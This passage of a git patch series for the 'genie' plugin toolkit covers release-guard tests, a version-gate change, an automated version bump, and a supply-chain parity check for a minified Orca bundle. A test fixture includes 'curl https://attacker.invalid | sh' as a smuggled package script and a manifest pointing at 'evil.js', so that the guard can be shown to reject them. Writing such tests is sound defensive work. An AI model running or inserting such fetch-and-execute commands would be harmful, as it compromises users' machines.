joined main's field list omits it. That child is still + // the deterministic bump of the workflow that produced it. + test('accepts a version-only child that omits the native Orca manifest', () => { + const fixture = versionRepo(); + git(fixture.root, 'checkout', '-q', '--detach', fixture.parent); + writeVersionTree(fixture.root, '5.260714.2'); + git(fixture.root, 'checkout', '-q', fixture.parent, '--', 'plugins/genie/orca-plugin.json'); + git(fixture.root, 'add', '.'); + git(fixture.root, 'commit', '-qm', 'chore(version): bump to 5.260714.2 [auto-version]'); + const child = git(fixture.root, 'rev-parse', 'HEAD'); + expect(git(fixture.root, 'diff', '--name-only', fixture.parent, child)).not.toContain('orca-plugin.json'); + + const result = guard('check-version-child', {}, [fixture.parent, child, '5.260714.2'], fixture.root); + expect(result.exitCode).toBe(0); + }); + + test('still rejects a child whose Orca manifest bump is not version-only', () => { + const fixture = versionRepo(); + git(fixture.root, 'checkout', '-q', '--detach', fixture.parent); + writeVersionTree(fixture.root, '5.260714.2'); + writeFileSync( + join(fixture.root, 'plugins/genie/orca-plugin.json'), + `${JSON.stringify({ id: 'genie', version: '5.260714.2', main: 'evil.js' }, null, 2)}\n`, + ); + git(fixture.root, 'add', '.'); + git(fixture.root, 'commit', '-qm', 'chore(version): bump to 5.260714.2 [auto-version]'); + const child = git(fixture.root, 'rev-parse', 'HEAD'); + + const result = guard('check-version-child', {}, [fixture.parent, child, '5.260714.2'], fixture.root); + expect(result.exitCode).toBe(3); + }); + test('rejects a package script smuggled inside an otherwise allowlisted version file', () => { const fixture = versionRepo('curl https://attacker.invalid | sh'); const result = guard('check-version-child', {}, [fixture.parent, fixture.child, '5.260714.2'], fixture.root); diff --git a/scripts/release-payload-version.test.ts b/scripts/release-payload-version.test.ts index 9a2a001ed..699d5b534 100644 --- a/scripts/release-payload-version.test.ts +++ b/scripts/release-payload-version.test.ts @@ -56,8 +56,11 @@ describe('release payload version contract', () => { const packageVersion = JSON.parse(readFileSync(join(repoRoot, 'package.json'), 'utf8')).version; expect(verifyCommittedReleaseVersions(repoRoot)).toBe(packageVersion); - expect(JSON.parse(readFileSync(join(repoRoot, 'plugins/genie/orca-plugin.json'), 'utf8')).version).toBe( - packageVersion, + // The committed native Orca manifest is advisory (stamped inside the payload); + // it only has to be a well-formed version string, not the package version — + // main's workflow_run bump list may lag dev's by a field. + expect(JSON.parse(readFileSync(join(repoRoot, 'plugins/genie/orca-plugin.json'), 'utf8')).version).toMatch( + /^[0-9A-Za-z][0-9A-Za-z.+-]{0,127}$/, ); }); @@ -114,9 +117,22 @@ describe('release payload version contract', () => { const root = fixture(); expect(verifyCommittedReleaseVersions(root)).toBe('5.000000.0'); - writeJson(root, 'plugins/genie/orca-plugin.json', { name: 'genie', version: '5.999999.1' }); + writeJson(root, 'plugins/genie/.kimi-plugin/plugin.json', { name: 'genie', version: '5.999999.1' }); expect(() => verifyCommittedReleaseVersions(root)).toThrow('committed version mismatch in'); - expect(() => verifyCommittedReleaseVersions(root)).toThrow('orca-plugin.json'); + expect(() => verifyCommittedReleaseVersions(root)).toThrow('.kimi-plugin/plugin.json'); + }); + + // The Orca manifest's shipped copy is stamped inside the payload; the + // committed value is advisory. Gating it coupled dev CI to the bump list of + // the `version.yml` on main (workflow_run runs main's copy), which blocked + // every dev release between 5.260829.5 and .8 on 2026-08-30. + test('source preflight tolerates a lagging committed native Orca manifest', () => { + const root = fixture(); + writeJson(root, 'plugins/genie/orca-plugin.json', { id: 'genie', version: '5.000000.0-lagging' }); + expect(verifyCommittedReleaseVersions(root)).toBe('5.000000.0'); + + stampReleasePayloadVersion(root, '5.260711.10'); + expect(JSON.parse(readFileSync(join(root, 'plugins/genie/orca-plugin.json'), 'utf8')).version).toBe('5.260711.10'); }); test('fails closed on missing metadata, malformed versions, and an invalid Codex marketplace target', () => { diff --git a/scripts/release-payload-version.ts b/scripts/release-payload-version.ts index 978d69603..b19564286 100644 --- a/scripts/release-payload-version.ts +++ b/scripts/release-payload-version.ts @@ -21,7 +21,24 @@ const TOP_LEVEL_VERSION_FILES = [ 'plugins/genie/orca-plugin.json', ] as const; -const COMMITTED_VERSION_FILES = ['package.json', ...TOP_LEVEL_VERSION_FILES] as const; +/** + * Committed files whose version must already equal package.json before a + * release is staged. The native Orca manifest is deliberately NOT gated here: + * its shipped copy is stamped by `--stamp` (and re-verified by `--verify`) + * inside the payload, which is the only copy Orca ever loads, so the committed + * value is advisory. Gating it would also couple dev CI to the auto-version + * bump list of the workflow on `main` — `workflow_run` jobs execute main's + * `version.yml`, so a bump field added on dev is inert until promotion, and + * every dev child in between failed this gate (observed 2026-08-30, dev + * releases 5.260829.5–.8 never shipped). + */ +const COMMITTED_VERSION_FILES = [ + 'package.json', + 'plugins/genie/package.json', + 'plugins/genie/.claude-plugin/plugin.json', + 'plugins/genie/.codex-plugin/plugin.json', + 'plugins/genie/.kimi-plugin/plugin.json', +] as const; interface JsonObject { [key: string]: unknown; From 43699b25b0802b4c0e62a12f0524e8c310858861 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sun, 30 Aug 2026 01:03:16 +0000 Subject: [PATCH 23/45] chore(version): bump to 5.260830.2 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 84c7466ce..eebb7ae41 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260830.1", + "version": "5.260830.2", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index a7bd2e1dc..38446fbc1 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260830.1", + "version": "5.260830.2", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 1404cfe5b..d4d8bd240 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.1", + "version": "5.260830.2", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index c414c92d5..f50d9ffa7 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.1", + "version": "5.260830.2", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index 0824af750..0f9eafafa 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.1", + "version": "5.260830.2", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index 36cb14803..d6bf20163 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260830.1", + "version": "5.260830.2", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index 48d7d66b5..40a444d6b 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260830.1 +version: 5.260830.2 description: "Native Hermes surface for Genie orchestration: read-only status, work-plan and review-plan tools, hooks, commands, and a thin cockpit skill." provides_tools: # Exactly three native read-only planning/status tools. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index bc25f64bc..7d6cc07cb 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260830.1", + "version": "5.260830.2", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From 5a6c29f06699a53ab19e923e692e0e725aecf86c Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 22:04:37 -0300 Subject: [PATCH 24/45] ci(orca): bind the shipped Orca plugin bundle to its TypeScript source (#2825) plugins/genie/orca-entrypoint.min.js is what the Orca host executes (orca-plugin.json main) and ships in every signed tarball, but nothing bound it to reviewed source: it sits outside tsc, biome, knip and the hook-bundle parity gate, and build-binary.sh only asserted it exists. A commit editing only the blob would pass 'bun run check', get attested, and reach every operator. Provenance proves origin, not correspondence. - scripts/orca-bundle-parity.ts: --check / --write, esbuild (pinned) ESM render so the bytes do not depend on the Bun version of whoever last regenerated it; regenerate the committed bundle through it - gate wired into check, check:fast, ci.yml, build-binary.sh and the build-tarballs path filter, mirroring hook-bundle-parity - tests: parity holds, drift fails closed naming --write, the committed bundle loads as ESM and registers genie.orca.run-list, the manifest points at the gated file Found by the supply-chain lens in the review of #2817. Claude-Session: https://claude.ai/code/session_018QrkgYMEEhrWTUo5E7Nkjg Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- .github/workflows/build-tarballs.yml | 1 + .github/workflows/ci.yml | 3 + package.json | 5 +- plugins/genie/orca-entrypoint.min.js | 4 +- scripts/build-binary.sh | 1 + scripts/orca-bundle-parity.test.ts | 43 +++++++++++++++ scripts/orca-bundle-parity.ts | 82 ++++++++++++++++++++++++++++ scripts/release-docs.test.ts | 5 ++ 8 files changed, 140 insertions(+), 4 deletions(-) create mode 100644 scripts/orca-bundle-parity.test.ts create mode 100644 scripts/orca-bundle-parity.ts diff --git a/.github/workflows/build-tarballs.yml b/.github/workflows/build-tarballs.yml index 0b031bbb8..382d42912 100644 --- a/.github/workflows/build-tarballs.yml +++ b/.github/workflows/build-tarballs.yml @@ -60,6 +60,7 @@ on: - 'scripts/build.js' - 'scripts/json-top-level-string.js' - 'scripts/hook-bundle-parity.ts' + - 'scripts/orca-bundle-parity.ts' - 'scripts/hook-content-binding.ts' - 'scripts/plugin-executables-check.ts' - 'scripts/sync-plugin-skills.ts' diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2a6d692ba..c77186bb8 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -123,6 +123,9 @@ jobs: - name: Generated hook bundle parity run: bun run lint:hook-bundles + - name: Native Orca bundle parity + run: bun run lint:orca-bundle + - name: Codex hook launcher content binding run: bun run lint:hook-content diff --git a/package.json b/package.json index 38446fbc1..67371fee0 100644 --- a/package.json +++ b/package.json @@ -32,14 +32,15 @@ "lint:complexity-budget": "bun run scripts/complexity-budget.ts", "lint:council-workflow": "bun scripts/council-workflow-lint.ts", "lint:hook-bundles": "bun scripts/hook-bundle-parity.ts --check", + "lint:orca-bundle": "bun scripts/orca-bundle-parity.ts --check", "lint:hook-budgets": "bun scripts/hook-budgets-lint.ts", "hooks:bind": "bun scripts/hook-content-binding.ts --write", "lint:hook-content": "bun scripts/hook-content-binding.ts --check", "lint:plugin-executables": "bun scripts/plugin-executables-check.ts", "smoke:codex": "bun run scripts/codex-plugin-only-smoke.ts", "smoke:codex-discovery": "bun run scripts/codex-debug-discovery-smoke.ts", - "check": "bun run typecheck && bun run lint && bun run dead-code && bun run skills:lint && bun run wishes:lint && bun run lint:complexity-budget && bun run lint:council-workflow && bun run lint:hook-bundles && bun run lint:hook-budgets && bun run lint:hook-content && bun run lint:plugin-executables && bun test", - "check:fast": "bun run typecheck && bun run lint && bun run dead-code && bun run skills:lint && bun run wishes:lint && bun run lint:complexity-budget && bun run lint:council-workflow && bun run lint:hook-bundles && bun run lint:hook-budgets && bun run lint:hook-content && bun run lint:plugin-executables", + "check": "bun run typecheck && bun run lint && bun run dead-code && bun run skills:lint && bun run wishes:lint && bun run lint:complexity-budget && bun run lint:council-workflow && bun run lint:hook-bundles && bun run lint:orca-bundle && bun run lint:hook-budgets && bun run lint:hook-content && bun run lint:plugin-executables && bun test", + "check:fast": "bun run typecheck && bun run lint && bun run dead-code && bun run skills:lint && bun run wishes:lint && bun run lint:complexity-budget && bun run lint:council-workflow && bun run lint:hook-bundles && bun run lint:orca-bundle && bun run lint:hook-budgets && bun run lint:hook-content && bun run lint:plugin-executables", "verify:release": "scripts/verify-release.sh" }, "dependencies": { diff --git a/plugins/genie/orca-entrypoint.min.js b/plugins/genie/orca-entrypoint.min.js index 9618f675c..e05c84270 100644 --- a/plugins/genie/orca-entrypoint.min.js +++ b/plugins/genie/orca-entrypoint.min.js @@ -1,2 +1,2 @@ -var gW=Object.defineProperty;var TW=($)=>$;function xW($,W){this[$]=TW.bind(null,W)}var mW=($,W)=>{for(var H in W)gW($,H,{get:W[H],enumerable:!0,configurable:!0,set:xW.bind(W,H)})};import{spawn as r3}from"node:child_process";var _={};mW(_,{void:()=>K3,util:()=>z,unknown:()=>V3,union:()=>A3,undefined:()=>L3,tuple:()=>C3,transformer:()=>y3,symbol:()=>N3,string:()=>jW,strictObject:()=>E3,setErrorMap:()=>lW,set:()=>I3,record:()=>v3,quotelessJson:()=>yW,promise:()=>m3,preprocess:()=>c3,pipeline:()=>u3,ostring:()=>n3,optional:()=>Z3,onumber:()=>d3,oboolean:()=>p3,objectUtil:()=>d$,object:()=>F3,number:()=>MW,nullable:()=>l3,null:()=>R3,never:()=>z3,nativeEnum:()=>x3,nan:()=>w3,map:()=>P3,makeIssue:()=>O$,literal:()=>g3,lazy:()=>h3,late:()=>j3,isValid:()=>r,isDirty:()=>T$,isAsync:()=>j$,isAborted:()=>g$,intersection:()=>f3,instanceof:()=>M3,getParsedType:()=>c,getErrorMap:()=>B$,function:()=>k3,enum:()=>T3,effect:()=>y3,discriminatedUnion:()=>O3,defaultErrorMap:()=>p,datetimeRegex:()=>qW,date:()=>S3,custom:()=>BW,coerce:()=>i3,boolean:()=>wW,bigint:()=>U3,array:()=>b3,any:()=>D3,addIssueToContext:()=>M,ZodVoid:()=>C$,ZodUnknown:()=>o,ZodUnion:()=>L$,ZodUndefined:()=>S$,ZodType:()=>V,ZodTuple:()=>n,ZodTransformer:()=>Z,ZodSymbol:()=>f$,ZodString:()=>T,ZodSet:()=>Q$,ZodSchema:()=>V,ZodRecord:()=>v$,ZodReadonly:()=>F$,ZodPromise:()=>Y$,ZodPipeline:()=>k$,ZodParsedType:()=>j,ZodOptional:()=>m,ZodObject:()=>A,ZodNumber:()=>a,ZodNullable:()=>s,ZodNull:()=>N$,ZodNever:()=>u,ZodNativeEnum:()=>z$,ZodNaN:()=>I$,ZodMap:()=>P$,ZodLiteral:()=>V$,ZodLazy:()=>D$,ZodIssueCode:()=>B,ZodIntersection:()=>R$,ZodFunction:()=>w$,ZodFirstPartyTypeKind:()=>L,ZodError:()=>I,ZodEnum:()=>e,ZodEffects:()=>Z,ZodDiscriminatedUnion:()=>x$,ZodDefault:()=>K$,ZodDate:()=>J$,ZodCatch:()=>b$,ZodBranded:()=>m$,ZodBoolean:()=>U$,ZodBigInt:()=>t,ZodArray:()=>x,ZodAny:()=>X$,Schema:()=>V,ParseStatus:()=>C,OK:()=>v,NEVER:()=>s3,INVALID:()=>S,EMPTY_PATH:()=>cW,DIRTY:()=>G$,BRAND:()=>B3});var z;(function($){$.assertEqual=(G)=>{};function W(G){}$.assertIs=W;function H(G){throw Error()}$.assertNever=H,$.arrayToEnum=(G)=>{let X={};for(let Q of G)X[Q]=Q;return X},$.getValidEnumValues=(G)=>{let X=$.objectKeys(G).filter((q)=>typeof G[G[q]]!=="number"),Q={};for(let q of X)Q[q]=G[q];return $.objectValues(Q)},$.objectValues=(G)=>{return $.objectKeys(G).map(function(X){return G[X]})},$.objectKeys=typeof Object.keys==="function"?(G)=>Object.keys(G):(G)=>{let X=[];for(let Q in G)if(Object.prototype.hasOwnProperty.call(G,Q))X.push(Q);return X},$.find=(G,X)=>{for(let Q of G)if(X(Q))return Q;return},$.isInteger=typeof Number.isInteger==="function"?(G)=>Number.isInteger(G):(G)=>typeof G==="number"&&Number.isFinite(G)&&Math.floor(G)===G;function J(G,X=" | "){return G.map((Q)=>typeof Q==="string"?`'${Q}'`:Q).join(X)}$.joinValues=J,$.jsonStringifyReplacer=(G,X)=>{if(typeof X==="bigint")return X.toString();return X}})(z||(z={}));var d$;(function($){$.mergeShapes=(W,H)=>{return{...W,...H}}})(d$||(d$={}));var j=z.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),c=($)=>{switch(typeof $){case"undefined":return j.undefined;case"string":return j.string;case"number":return Number.isNaN($)?j.nan:j.number;case"boolean":return j.boolean;case"function":return j.function;case"bigint":return j.bigint;case"symbol":return j.symbol;case"object":if(Array.isArray($))return j.array;if($===null)return j.null;if($.then&&typeof $.then==="function"&&$.catch&&typeof $.catch==="function")return j.promise;if(typeof Map<"u"&&$ instanceof Map)return j.map;if(typeof Set<"u"&&$ instanceof Set)return j.set;if(typeof Date<"u"&&$ instanceof Date)return j.date;return j.object;default:return j.unknown}};var B=z.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),yW=($)=>{return JSON.stringify($,null,2).replace(/"([^"]+)":/g,"$1:")};class I extends Error{get errors(){return this.issues}constructor($){super();this.issues=[],this.addIssue=(H)=>{this.issues=[...this.issues,H]},this.addIssues=(H=[])=>{this.issues=[...this.issues,...H]};let W=new.target.prototype;if(Object.setPrototypeOf)Object.setPrototypeOf(this,W);else this.__proto__=W;this.name="ZodError",this.issues=$}format($){let W=$||function(G){return G.message},H={_errors:[]},J=(G)=>{for(let X of G.issues)if(X.code==="invalid_union")X.unionErrors.map(J);else if(X.code==="invalid_return_type")J(X.returnTypeError);else if(X.code==="invalid_arguments")J(X.argumentsError);else if(X.path.length===0)H._errors.push(W(X));else{let Q=H,q=0;while(q<X.path.length){let Y=X.path[q];if(q!==X.path.length-1)Q[Y]=Q[Y]||{_errors:[]};else Q[Y]=Q[Y]||{_errors:[]},Q[Y]._errors.push(W(X));Q=Q[Y],q++}}};return J(this),H}static assert($){if(!($ instanceof I))throw Error(`Not a ZodError: ${$}`)}toString(){return this.message}get message(){return JSON.stringify(this.issues,z.jsonStringifyReplacer,2)}get isEmpty(){return this.issues.length===0}flatten($=(W)=>W.message){let W={},H=[];for(let J of this.issues)if(J.path.length>0){let G=J.path[0];W[G]=W[G]||[],W[G].push($(J))}else H.push($(J));return{formErrors:H,fieldErrors:W}}get formErrors(){return this.flatten()}}I.create=($)=>{return new I($)};var ZW=($,W)=>{let H;switch($.code){case B.invalid_type:if($.received===j.undefined)H="Required";else H=`Expected ${$.expected}, received ${$.received}`;break;case B.invalid_literal:H=`Invalid literal value, expected ${JSON.stringify($.expected,z.jsonStringifyReplacer)}`;break;case B.unrecognized_keys:H=`Unrecognized key(s) in object: ${z.joinValues($.keys,", ")}`;break;case B.invalid_union:H="Invalid input";break;case B.invalid_union_discriminator:H=`Invalid discriminator value. Expected ${z.joinValues($.options)}`;break;case B.invalid_enum_value:H=`Invalid enum value. Expected ${z.joinValues($.options)}, received '${$.received}'`;break;case B.invalid_arguments:H="Invalid function arguments";break;case B.invalid_return_type:H="Invalid function return type";break;case B.invalid_date:H="Invalid date";break;case B.invalid_string:if(typeof $.validation==="object")if("includes"in $.validation){if(H=`Invalid input: must include "${$.validation.includes}"`,typeof $.validation.position==="number")H=`${H} at one or more positions greater than or equal to ${$.validation.position}`}else if("startsWith"in $.validation)H=`Invalid input: must start with "${$.validation.startsWith}"`;else if("endsWith"in $.validation)H=`Invalid input: must end with "${$.validation.endsWith}"`;else z.assertNever($.validation);else if($.validation!=="regex")H=`Invalid ${$.validation}`;else H="Invalid";break;case B.too_small:if($.type==="array")H=`Array must contain ${$.exact?"exactly":$.inclusive?"at least":"more than"} ${$.minimum} element(s)`;else if($.type==="string")H=`String must contain ${$.exact?"exactly":$.inclusive?"at least":"over"} ${$.minimum} character(s)`;else if($.type==="number")H=`Number must be ${$.exact?"exactly equal to ":$.inclusive?"greater than or equal to ":"greater than "}${$.minimum}`;else if($.type==="bigint")H=`Number must be ${$.exact?"exactly equal to ":$.inclusive?"greater than or equal to ":"greater than "}${$.minimum}`;else if($.type==="date")H=`Date must be ${$.exact?"exactly equal to ":$.inclusive?"greater than or equal to ":"greater than "}${new Date(Number($.minimum))}`;else H="Invalid input";break;case B.too_big:if($.type==="array")H=`Array must contain ${$.exact?"exactly":$.inclusive?"at most":"less than"} ${$.maximum} element(s)`;else if($.type==="string")H=`String must contain ${$.exact?"exactly":$.inclusive?"at most":"under"} ${$.maximum} character(s)`;else if($.type==="number")H=`Number must be ${$.exact?"exactly":$.inclusive?"less than or equal to":"less than"} ${$.maximum}`;else if($.type==="bigint")H=`BigInt must be ${$.exact?"exactly":$.inclusive?"less than or equal to":"less than"} ${$.maximum}`;else if($.type==="date")H=`Date must be ${$.exact?"exactly":$.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number($.maximum))}`;else H="Invalid input";break;case B.custom:H="Invalid input";break;case B.invalid_intersection_types:H="Intersection results could not be merged";break;case B.not_multiple_of:H=`Number must be a multiple of ${$.multipleOf}`;break;case B.not_finite:H="Number must be finite";break;default:H=W.defaultError,z.assertNever($)}return{message:H}},p=ZW;var GW=p;function lW($){GW=$}function B$(){return GW}var O$=($)=>{let{data:W,path:H,errorMaps:J,issueData:G}=$,X=[...H,...G.path||[]],Q={...G,path:X};if(G.message!==void 0)return{...G,path:X,message:G.message};let q="",Y=J.filter((w)=>!!w).slice().reverse();for(let w of Y)q=w(Q,{data:W,defaultError:q}).message;return{...G,path:X,message:q}},cW=[];function M($,W){let H=B$(),J=O$({issueData:W,data:$.data,path:$.path,errorMaps:[$.common.contextualErrorMap,$.schemaErrorMap,H,H===p?void 0:p].filter((G)=>!!G)});$.common.issues.push(J)}class C{constructor(){this.value="valid"}dirty(){if(this.value==="valid")this.value="dirty"}abort(){if(this.value!=="aborted")this.value="aborted"}static mergeArray($,W){let H=[];for(let J of W){if(J.status==="aborted")return S;if(J.status==="dirty")$.dirty();H.push(J.value)}return{status:$.value,value:H}}static async mergeObjectAsync($,W){let H=[];for(let J of W){let G=await J.key,X=await J.value;H.push({key:G,value:X})}return C.mergeObjectSync($,H)}static mergeObjectSync($,W){let H={};for(let J of W){let{key:G,value:X}=J;if(G.status==="aborted")return S;if(X.status==="aborted")return S;if(G.status==="dirty")$.dirty();if(X.status==="dirty")$.dirty();if(G.value!=="__proto__"&&(typeof X.value<"u"||J.alwaysSet))H[G.value]=X.value}return{status:$.value,value:H}}}var S=Object.freeze({status:"aborted"}),G$=($)=>({status:"dirty",value:$}),v=($)=>({status:"valid",value:$}),g$=($)=>$.status==="aborted",T$=($)=>$.status==="dirty",r=($)=>$.status==="valid",j$=($)=>typeof Promise<"u"&&$ instanceof Promise;var U;(function($){$.errToObj=(W)=>typeof W==="string"?{message:W}:W||{},$.toString=(W)=>typeof W==="string"?W:W?.message})(U||(U={}));class y{constructor($,W,H,J){this._cachedPath=[],this.parent=$,this.data=W,this._path=H,this._key=J}get path(){if(!this._cachedPath.length)if(Array.isArray(this._key))this._cachedPath.push(...this._path,...this._key);else this._cachedPath.push(...this._path,this._key);return this._cachedPath}}var JW=($,W)=>{if(r(W))return{success:!0,data:W.value};else{if(!$.common.issues.length)throw Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let H=new I($.common.issues);return this._error=H,this._error}}}};function R($){if(!$)return{};let{errorMap:W,invalid_type_error:H,required_error:J,description:G}=$;if(W&&(H||J))throw Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);if(W)return{errorMap:W,description:G};return{errorMap:(Q,q)=>{let{message:Y}=$;if(Q.code==="invalid_enum_value")return{message:Y??q.defaultError};if(typeof q.data>"u")return{message:Y??J??q.defaultError};if(Q.code!=="invalid_type")return{message:q.defaultError};return{message:Y??H??q.defaultError}},description:G}}class V{get description(){return this._def.description}_getType($){return c($.data)}_getOrReturnCtx($,W){return W||{common:$.parent.common,data:$.data,parsedType:c($.data),schemaErrorMap:this._def.errorMap,path:$.path,parent:$.parent}}_processInputParams($){return{status:new C,ctx:{common:$.parent.common,data:$.data,parsedType:c($.data),schemaErrorMap:this._def.errorMap,path:$.path,parent:$.parent}}}_parseSync($){let W=this._parse($);if(j$(W))throw Error("Synchronous parse encountered promise.");return W}_parseAsync($){let W=this._parse($);return Promise.resolve(W)}parse($,W){let H=this.safeParse($,W);if(H.success)return H.data;throw H.error}safeParse($,W){let H={common:{issues:[],async:W?.async??!1,contextualErrorMap:W?.errorMap},path:W?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:$,parsedType:c($)},J=this._parseSync({data:$,path:H.path,parent:H});return JW(H,J)}"~validate"($){let W={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:$,parsedType:c($)};if(!this["~standard"].async)try{let H=this._parseSync({data:$,path:[],parent:W});return r(H)?{value:H.value}:{issues:W.common.issues}}catch(H){if(H?.message?.toLowerCase()?.includes("encountered"))this["~standard"].async=!0;W.common={issues:[],async:!0}}return this._parseAsync({data:$,path:[],parent:W}).then((H)=>r(H)?{value:H.value}:{issues:W.common.issues})}async parseAsync($,W){let H=await this.safeParseAsync($,W);if(H.success)return H.data;throw H.error}async safeParseAsync($,W){let H={common:{issues:[],contextualErrorMap:W?.errorMap,async:!0},path:W?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:$,parsedType:c($)},J=this._parse({data:$,path:H.path,parent:H}),G=await(j$(J)?J:Promise.resolve(J));return JW(H,G)}refine($,W){let H=(J)=>{if(typeof W==="string"||typeof W>"u")return{message:W};else if(typeof W==="function")return W(J);else return W};return this._refinement((J,G)=>{let X=$(J),Q=()=>G.addIssue({code:B.custom,...H(J)});if(typeof Promise<"u"&&X instanceof Promise)return X.then((q)=>{if(!q)return Q(),!1;else return!0});if(!X)return Q(),!1;else return!0})}refinement($,W){return this._refinement((H,J)=>{if(!$(H))return J.addIssue(typeof W==="function"?W(H,J):W),!1;else return!0})}_refinement($){return new Z({schema:this,typeName:L.ZodEffects,effect:{type:"refinement",refinement:$}})}superRefine($){return this._refinement($)}constructor($){this.spa=this.safeParseAsync,this._def=$,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:(W)=>this["~validate"](W)}}optional(){return m.create(this,this._def)}nullable(){return s.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return x.create(this)}promise(){return Y$.create(this,this._def)}or($){return L$.create([this,$],this._def)}and($){return R$.create(this,$,this._def)}transform($){return new Z({...R(this._def),schema:this,typeName:L.ZodEffects,effect:{type:"transform",transform:$}})}default($){let W=typeof $==="function"?$:()=>$;return new K$({...R(this._def),innerType:this,defaultValue:W,typeName:L.ZodDefault})}brand(){return new m$({typeName:L.ZodBranded,type:this,...R(this._def)})}catch($){let W=typeof $==="function"?$:()=>$;return new b$({...R(this._def),innerType:this,catchValue:W,typeName:L.ZodCatch})}describe($){return new this.constructor({...this._def,description:$})}pipe($){return k$.create(this,$)}readonly(){return F$.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return this.safeParse(null).success}}var 